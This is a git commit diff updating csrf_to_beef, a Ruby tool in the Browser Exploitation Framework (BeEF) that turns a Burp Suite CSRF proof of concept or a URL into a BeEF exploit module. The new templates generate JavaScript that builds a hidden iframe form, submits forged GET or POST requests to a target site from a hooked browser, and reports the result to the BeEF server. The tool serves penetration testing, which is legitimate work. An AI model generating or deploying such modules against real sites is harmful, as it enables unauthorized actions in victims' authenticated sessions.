Merge pull request #1118 from bcoles/csrf_to_beef

Update csrf_to_beef tool
This commit is contained in:
Brendan Coles
2015-05-13 03:09:07 +10:00
3 changed files with 303 additions and 204 deletions

View File

@@ -1,231 +1,168 @@
#!/usr/bin/env ruby #!/usr/bin/env ruby
################################################################################
# CSRF to BeEF module tool #
# TODO: #
# * support xhr #
# * support multipart file upload #
# * support CORS requests #
################################################################################
$VERBOSE = false $VERBOSE = false
$VERSION = '0.0.2' $VERSION = '0.0.3'
#
# @note Ruby version check
#
if RUBY_VERSION =~ /^1\.[0-8]/
puts "Ruby version " + RUBY_VERSION + " is not supported. Please use Ruby 1.9 or newer."
exit 1
end
require 'uri' require 'uri'
require 'getoptlong' require 'getoptlong'
require 'fileutils' require 'fileutils'
require 'htmlentities' require 'htmlentities'
require 'cgi'
# require './lib/output'
# @note Ruby version check require './lib/module'
#
if RUBY_VERSION < '1.9'
puts "Ruby version " + RUBY_VERSION + " is not supported. Please use Ruby 1.9 or later."
exit 1
end
# #
# @note usage # @note usage
# #
def usage def usage
puts "CSRF to BeEF module tool" puts "CSRF to BeEF module tool v#{$VERSION}, create a BeEF CSRF module from file or URL."
puts "[*] Generate a BeEF module using a CSRF PoC from Burp Suite." puts
puts "[*] Usage: ./csrf_to_beef --file sample.html --name [MODULE NAME]" puts "Usage: ./csrf_to_beef [options] --name <NAME> <--url=URL|--file=FILE>"
puts
puts "Options:"
puts " -h, --help Help"
puts " -v, --verbose Verbose output"
puts " -n, --name NAME BeEF module name"
puts " -u, --url URL CSRF URL"
puts " -m, --method METHOD CSRF HTTP method (GET/POST)"
puts " -d, --post-data DATA CSRF HTTP POST data"
puts " -f, --file FILE Burp CSRF PoC file"
puts
puts "Example Usage:"
puts
puts " CSRF URL:"
puts " ./csrf_to_beef --name \"example csrf\" --url \"http://example.com/index.html?param=value\""
puts
puts " CSRF URL (POST):"
puts " ./csrf_to_beef --name \"example csrf\" --url \"http://example.com/index.html\" --method POST --post-data \"param1=value&param2=value\""
puts
puts " Burp Suite CSRF PoC file:"
puts " ./csrf_to_beef --name \"example csrf\" --file sample.html"
puts
exit 1 exit 1
end end
usage if ARGV.size < 3 usage if ARGV.size < 2
#
# @note get args
#
mname = nil
fname = nil
opts = GetoptLong.new( opts = GetoptLong.new(
['-h', '--help', GetoptLong::NO_ARGUMENT], ['-h', '--help', GetoptLong::NO_ARGUMENT],
['-v', '--verbose', GetoptLong::NO_ARGUMENT], ['-v', '--verbose', GetoptLong::NO_ARGUMENT],
['-n', '--name', GetoptLong::REQUIRED_ARGUMENT], ['-n', '--name', GetoptLong::REQUIRED_ARGUMENT],
['-u', '--url', GetoptLong::REQUIRED_ARGUMENT],
['-m', '--method', GetoptLong::REQUIRED_ARGUMENT],
['-d', '--post-data', GetoptLong::REQUIRED_ARGUMENT],
['-f', '--file', GetoptLong::REQUIRED_ARGUMENT] ['-f', '--file', GetoptLong::REQUIRED_ARGUMENT]
) )
#
# @note Add color to String object
#
class String
def colorize(color_code)
"\e[#{color_code}m#{self}\e[0m"
end
{:red => 31,
:green => 32,
:yellow => 33,
:blue => 34,
:pink => 35,
:cyan => 36,
:white => 37
}.each { |color, code|
define_method(color) { colorize(code) }
}
end
#
# @note handle output
#
def print_status(msg='')
puts '[*] '.blue + msg
end
def print_error(msg='')
puts '[!] '.red + "Error: #{msg}"
end
def print_good(msg='')
puts '[+] '.green + msg
end
def print_warning(msg='')
puts '[!] '.yellow + "Warning: #{msg}"
end
def print_debug(msg='')
puts "#{msg}" if $VERBOSE
end
# #
# @note handle args # @note handle args
# #
opts.each do |opt, arg| def main(opts)
case opt mname = nil
when '-f', '--file' fname = nil
fname=arg url = nil
when '-n', '--name' method = 'GET'
mname=arg postdata = nil
when '-h', '--help' opts.each do |opt, arg|
usage case opt
when '-v', '--verbose' when '-f', '--file'
$VERBOSE = true fname=arg
end when '-u', '--url'
end url=arg
if fname.nil? when '-m', '--method'
print_error "'--file' argument is required. (-h for help)" method=arg.upcase
exit 1 when '-d', '--post-data'
end postdata=arg
if mname.nil? when '-n', '--name'
print_error "'--name' argument is required. (-h for help)" mname=arg
exit 1 when '-h', '--help'
end usage
when '-v', '--verbose'
# $VERBOSE = true
# @note Module configuration file 'config.yaml'
#
class ConfigFile
def generate class_name
return <<-EOF
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
#{class_name}:
enable: true
category: "Exploits"
name: "#{class_name.capitalize}"
description: "#{class_name.capitalize}"
authors: ["Burp Suite Professional", "CSRF to BeEF tool"]
target:
unknown: ["ALL"]
EOF
end
end
#
# @note Module class file 'module.rb'
#
class ModuleFile
def generate class_name, target_url, options
options_rb = ""
options.to_enum.with_index(1).each do |input, input_index|
options_rb += " { 'name' => 'input_#{input_index}', 'ui_label' => %q(#{input[0]}), 'value' => %q(#{input[1]}) },\n"
end end
return <<-EOF end
# if mname.nil?
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net print_error "You must specify module '--name' (-h for help)"
# Browser Exploitation Framework (BeEF) - http://beefproject.com exit 1
# See the file 'doc/COPYING' for copying permission end
# if fname && url
class #{class_name.capitalize} < BeEF::Core::Command print_error "Conflicting input types '--file' and '--url'. (-h for help)"
elsif fname.nil? && url.nil?
def self.options print_error "You must specify '--file' or '--url'. (-h for help)"
return [ exit 1
{ 'name' => 'target_url', 'ui_label' => 'Target URL', 'value' => %q(#{target_url}) },
#{options_rb.chomp}
]
end end
def post_execute @class_name = mname.gsub(/[^\w]/, '_').downcase
save({'result' => @datastore['result']})
end csrf_module = get_options_from_burp_file(fname, mname) unless fname.nil?
csrf_module = get_options_from_url(url, method, postdata, mname) unless url.nil?
write_module(csrf_module[:target_url], csrf_module[:method], csrf_module[:enctype], csrf_module[:options])
end
EOF
end
end end
# #
# @note Module javascript command file 'command.js' # @note generate BeEF module from URL
# #
class CommandFile def get_options_from_url(url, method, postdata, mname)
def generate class_name, method, enctype, options
options_js = "" # validate HTTP method
options.to_enum.with_index(1).each do |input, input_index| if method !~ /^(GET|POST)$/i
options_js += " {'type':'hidden', 'name':'#{input.first.to_s.gsub(/'/, "\\'")}', 'value':'<%= CGI.escape(@input_#{input_index}) %>' },\n" print_error "Invalid method: #{method} - Method must be 'GET' or 'POST'"
exit 1
end
# parse module options
options = []
if method =~ /POST/i
target_url = url
enctype = nil
input_name = nil
input_value = nil
# parse POST params as module options
CGI::parse(URI.parse("http://beefproject.com/?#{postdata}").query).each do |k, v|
if k == 'submit'
print_error "Invalid POST parameter 'submit' - see: https://github.com/beefproject/beef/issues/1117"
exit 1
end
input_name = HTMLEntities.new.decode(k)
input_value = HTMLEntities.new.decode(v.first)
unless input_name.nil?
options << [input_name, input_value]
end
end
elsif method =~ /GET/i
target_url = URI.parse(url).to_s[/[^\?]+/] # drop query string
input_name = nil
input_value = nil
# parse query string as module options
CGI::parse(URI.parse(url).query).each do |k, v|
if k == 'submit'
print_error "Invalid GET parameter 'submit' - see: https://github.com/beefproject/beef/issues/1117"
exit 1
end
input_name = HTMLEntities.new.decode(k)
input_value = HTMLEntities.new.decode(v.first)
unless input_name.nil?
options << [input_name, input_value]
end
end end
return <<-EOF
//
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var target_url = '<%= @target_url.to_s.gsub(/'/, "\\\\'") %>';
var timeout = 15;
exploit = function() {
var #{class_name}_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target_url, '#{method.to_s.gsub(/'/, "\\'")}', '#{enctype.to_s.gsub(/'/, "\\'")}',
[
#{options_js.chomp}
]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
}
cleanup = function() {
try {
document.body.removeChild(#{class_name}_iframe_<%= @command_id %>);
} catch(e) {
beef.debug("Could not remove iframe: " + e.message);
}
}
setTimeout("cleanup()", timeout*1000);
try {
exploit();
} catch(e) {
beef.debug("Exploit failed: " + e.message);
}
});
EOF
end end
return {:target_url=>target_url, :method=>method, :enctype=>enctype, :options=>options}
end end
# #
# @note main # @note generate BeEF module from Burp PoC file
# #
def main fname, mname def get_options_from_burp_file(fname, mname)
# validate class name
class_name = mname.gsub(/[^\w]/, '_').downcase
# read PoC file # read PoC file
print_status "Reading PoC from '#{fname}'" print_status "Reading PoC from '#{fname}'"
@@ -246,7 +183,7 @@ def main fname, mname
exit 1 exit 1
end end
method = "GET" method = 'GET'
enctype = nil enctype = nil
target_url = nil target_url = nil
options = [] options = []
@@ -259,7 +196,7 @@ def main fname, mname
when 'action' when 'action'
target_url = HTMLEntities.new.decode(v) target_url = HTMLEntities.new.decode(v)
when 'method' when 'method'
method = HTMLEntities.new.decode(v) method = HTMLEntities.new.decode(v).upcase
when 'enctype' when 'enctype'
enctype = HTMLEntities.new.decode(v) enctype = HTMLEntities.new.decode(v)
end end
@@ -273,6 +210,10 @@ def main fname, mname
when 'type' when 'type'
next next
when 'name' when 'name'
if v == 'submit'
print_error "Invalid POST parameter 'submit' - see: https://github.com/beefproject/beef/issues/1117"
exit 1
end
input_name = HTMLEntities.new.decode(v) input_name = HTMLEntities.new.decode(v)
when 'value' when 'value'
input_value = HTMLEntities.new.decode(v) input_value = HTMLEntities.new.decode(v)
@@ -283,35 +224,43 @@ def main fname, mname
end end
end end
end end
return {:target_url=>target_url, :method=>method, :enctype=>enctype, :options=>options}
end
#
# @note write module files to disk
#
def write_module(target_url, method='GET', enctype, options)
# write module directory # write module directory
print_status "Making directory '#{class_name}'" print_status "Making directory '#{@class_name}'"
unless File.directory?(class_name) unless File.directory?(@class_name)
FileUtils.mkdir_p(class_name) FileUtils.mkdir_p(@class_name)
end end
# generate module config file and write 'config.yaml' # generate module config file and write 'config.yaml'
print_status "Generating module config file '#{class_name}/config.yaml'" print_status "Generating module config file '#{@class_name}/config.yaml'"
cfg_file = ConfigFile.new.generate(class_name) cfg_file = ConfigFile.new.generate(@class_name)
print_debug cfg_file print_debug cfg_file
File.open("#{class_name}/config.yaml", 'w') { |file| file.write(cfg_file) } File.open("#{@class_name}/config.yaml", 'w') { |file| file.write(cfg_file) }
# generate module class file and write 'module.rb' # generate module class file and write 'module.rb'
print_status "Generating module class file '#{class_name}/module.rb'" print_status "Generating module class file '#{@class_name}/module.rb'"
mod_file = ModuleFile.new.generate(class_name, target_url, options) mod_file = ModuleFile.new.generate(@class_name, target_url, options)
print_debug mod_file print_debug mod_file
File.open("#{class_name}/module.rb", 'w') { |file| file.write(mod_file) } File.open("#{@class_name}/module.rb", 'w') { |file| file.write(mod_file) }
# generate module javacript file and write 'command.js' # generate module javacript file and write 'command.js'
print_status "Generating module javascript file '#{class_name}/command.js'" print_status "Generating module javascript file '#{@class_name}/command.js'"
com_file = CommandFile.new.generate(class_name, method, enctype, options) com_file = CommandFile.new.generate(@class_name, method, enctype, options)
print_debug com_file print_debug com_file
File.open("#{class_name}/command.js", 'w') { |file| file.write(com_file) } File.open("#{@class_name}/command.js", 'w') { |file| file.write(com_file) }
print_good "Complete!" print_good "Complete!"
print_status "Now copy the '#{class_name}' directory to the BeEF 'modules/exploits/' directory." print_status "Now copy the '#{@class_name}' directory to the BeEF 'modules/exploits/' directory."
print_debug "cp \"#{@class_name}\" ../../modules/exploits/ -R"
end end
main fname, mname main(opts)

View File

@@ -0,0 +1,107 @@
#
# @note Module configuration file 'config.yaml'
#
class ConfigFile
def generate(class_name)
return <<-EOF
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
#{class_name}:
enable: true
category: "Exploits"
name: "#{class_name.capitalize}"
description: "#{class_name.capitalize}"
authors: ["BeEF"]
target:
unknown: ["ALL"]
EOF
end
end
#
# @note Module class file 'module.rb'
#
class ModuleFile
def generate(class_name, target_url, options)
options_rb = ""
options.to_enum.with_index(1).each do |input, input_index|
options_rb += " { 'name' => 'input_#{input_index}', 'ui_label' => %q(#{input[0]}), 'value' => %q(#{input[1]}) },\n"
end
return <<-EOF
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class #{class_name.capitalize} < BeEF::Core::Command
def self.options
return [
{ 'name' => 'target_url', 'ui_label' => 'Target URL', 'value' => %q(#{target_url}) },
#{options_rb.chomp}
]
end
def post_execute
save({'result' => @datastore['result']})
end
end
EOF
end
end
#
# @note Module javascript command file 'command.js'
#
class CommandFile
def generate(class_name, method, enctype, options)
options_js = ""
options.to_enum.with_index(1).each do |input, input_index|
options_js += " {'type':'hidden', 'name':'#{input.first.to_s.gsub(/'/, "\\'")}', 'value':'<%= CGI.escape(@input_#{input_index}) %>' },\n"
end
return <<-EOF
//
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var target_url = '<%= @target_url.to_s.gsub(/'/, "\\\\'") %>';
var timeout = 15;
exploit = function() {
var #{class_name}_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target_url, '#{method.to_s.gsub(/'/, "\\'")}', '#{enctype.to_s.gsub(/'/, "\\'")}',
[
#{options_js.chomp}
]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
}
cleanup = function() {
try {
document.body.removeChild(#{class_name}_iframe_<%= @command_id %>);
} catch(e) {
beef.debug("Could not remove iframe: " + e.message);
}
}
setTimeout("cleanup()", timeout*1000);
try {
exploit();
} catch(e) {
beef.debug("Exploit failed: " + e.message);
}
});
EOF
end
end

View File

@@ -0,0 +1,43 @@
#
# @note Add color to String object
#
class String
def colorize(color_code)
"\e[#{color_code}m#{self}\e[0m"
end
{:red => 31,
:green => 32,
:yellow => 33,
:blue => 34,
:pink => 35,
:cyan => 36,
:white => 37
}.each { |color, code|
define_method(color) { colorize(code) }
}
end
#
# @note handle output
#
def print_status(msg='')
puts '[*] '.blue + msg
end
def print_error(msg='')
puts '[!] '.red + "Error: #{msg}"
end
def print_good(msg='')
puts '[+] '.green + msg
end
def print_warning(msg='')
puts '[!] '.yellow + "Warning: #{msg}"
end
def print_debug(msg='')
puts "#{msg}" if $VERBOSE
end